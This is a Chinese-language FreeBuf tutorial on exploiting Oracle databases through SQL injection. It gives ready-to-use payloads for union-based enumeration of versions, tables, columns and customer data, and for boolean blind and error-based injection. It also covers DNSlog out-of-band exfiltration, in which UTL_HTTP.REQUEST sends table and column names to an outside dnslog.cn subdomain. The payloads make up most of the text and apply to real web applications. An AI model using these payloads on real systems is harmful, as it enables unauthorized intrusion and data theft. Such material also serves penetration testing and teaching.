freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Oracle数据库利用教程
FreeBuf_352848 2020-09-09 20:14:08 214013

一、联合注入

1.1、判断是否存在注入点

方法和其他数据库类似,and 1=1 和and 1=2

1599621955.jpg!small1599621947.jpg!small

1.2、判断数据库为oracle

注释符号--,该符号是Oracle和MsSQL支持的注释符,返回正常就需要继续判断。可以继续提交多语句支持符号;如果支持多行查询,说明是MSSQL,因为Oracle不支持多行查询,可以继续提交查询语

and (select count(*) from user_tables)>0--

利用的原理是dual表和user_tables表是oracle中的系统表,返回正常就判断为Oracle

1599621939.jpg!small

1.3、获取基本信息

1.3.1、获取字段数,同样可以使用oder by N 根据返回页面判断

1599621931.jpg!small

1599621917.jpg!small

​1.3.2、判断列数

union select '1','a','3','4','5' from dual -- //返回正常,则第一个字段是数字型,返回错误,为字符型,这里5个字段都为字符型

1599621908.jpg!small

​1.3.3、获取数据库版本

union select '1',(select banner from sys.v_$version where rownum=1),'3','4','5' from dual --

1599621899.jpg!small

查询,当前表所属用户,相当于当前库,如下

1599621890.jpg!small

1.3.4、查询第一个表名

union select '1',(select table_name from user_tables where rownum=1),'3','4','5' from dual --

1599621873.jpg!small

union select '1',(select table_name from user_tables where rownum=1 and table_name<>'表名'),'3','4','5' from dual -- //第二个表名

1599621864.jpg!small

查看第一个字段名

union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1),'3','4','5' from dual --

1599621855.jpg!small

查看第二个字段名

union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1 and column_name<>'id'),'3','4','5' from dual --

1599621845.jpg!small

查看第三个字段名,在后面再加一个and column_name<>’名称’

select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一个字段]' and column_name<>'[第二个字段名]'

1599621835.jpg!small

​读取数据

union select '1',age,NAME,'4','5' from CUSTOMERS --

1599621825.jpg!small

二、DNSlog

首先去http://www.dnslog.cn/网站申请一个域名

UTL_HTTP.REQUEST型

and 1=2 union select '1','2',UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --

1599621814.jpg!small

1599621804.jpg!small

第一个字段名

union select '1','2',UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1)||'.o69syg.dnslog.cn

'),'4','5' from dual --

1599621793.jpg!small1599621775.jpg!small

UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入

1599621757.jpg!small1599621742.jpg!small

三、布尔盲注

3.1、获取当前数据库表的个数

and (select count(table_name) from user_tables)>1--

1599621731.jpg!small

1599621719.jpg!small

3.2、获取第一个表的表名长度

and (select length(table_name) from user_tables where rownum=1)>8--

1599621709.jpg!small

1599621691.jpg!small

获取第一个表的第一个字符的Ascii码的值

and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82--

1599621677.jpg!small

四、报错注入--报错函数dbms_xdb_version.checkin()函数

4.1、获取数据库版本信息

and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--

1599621664.jpg!small

4.2、当前数据库名称

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

1599621642.jpg!small

# SQL注入 # Oracle数据库
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_352848 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
攻防渗透宝典
FreeBuf_352848 LV.4
这家伙太懒了,还未填写个人描述!
  • 106 文章数
  • 79 关注者
Apache DolphinScheduler高危漏洞
2022-03-08
ThinkAdmin(CVE-2020-25540)漏洞复现
2022-03-08
XStream反序列化命令执行漏洞复现(CVE-2021-29505)
2021-08-30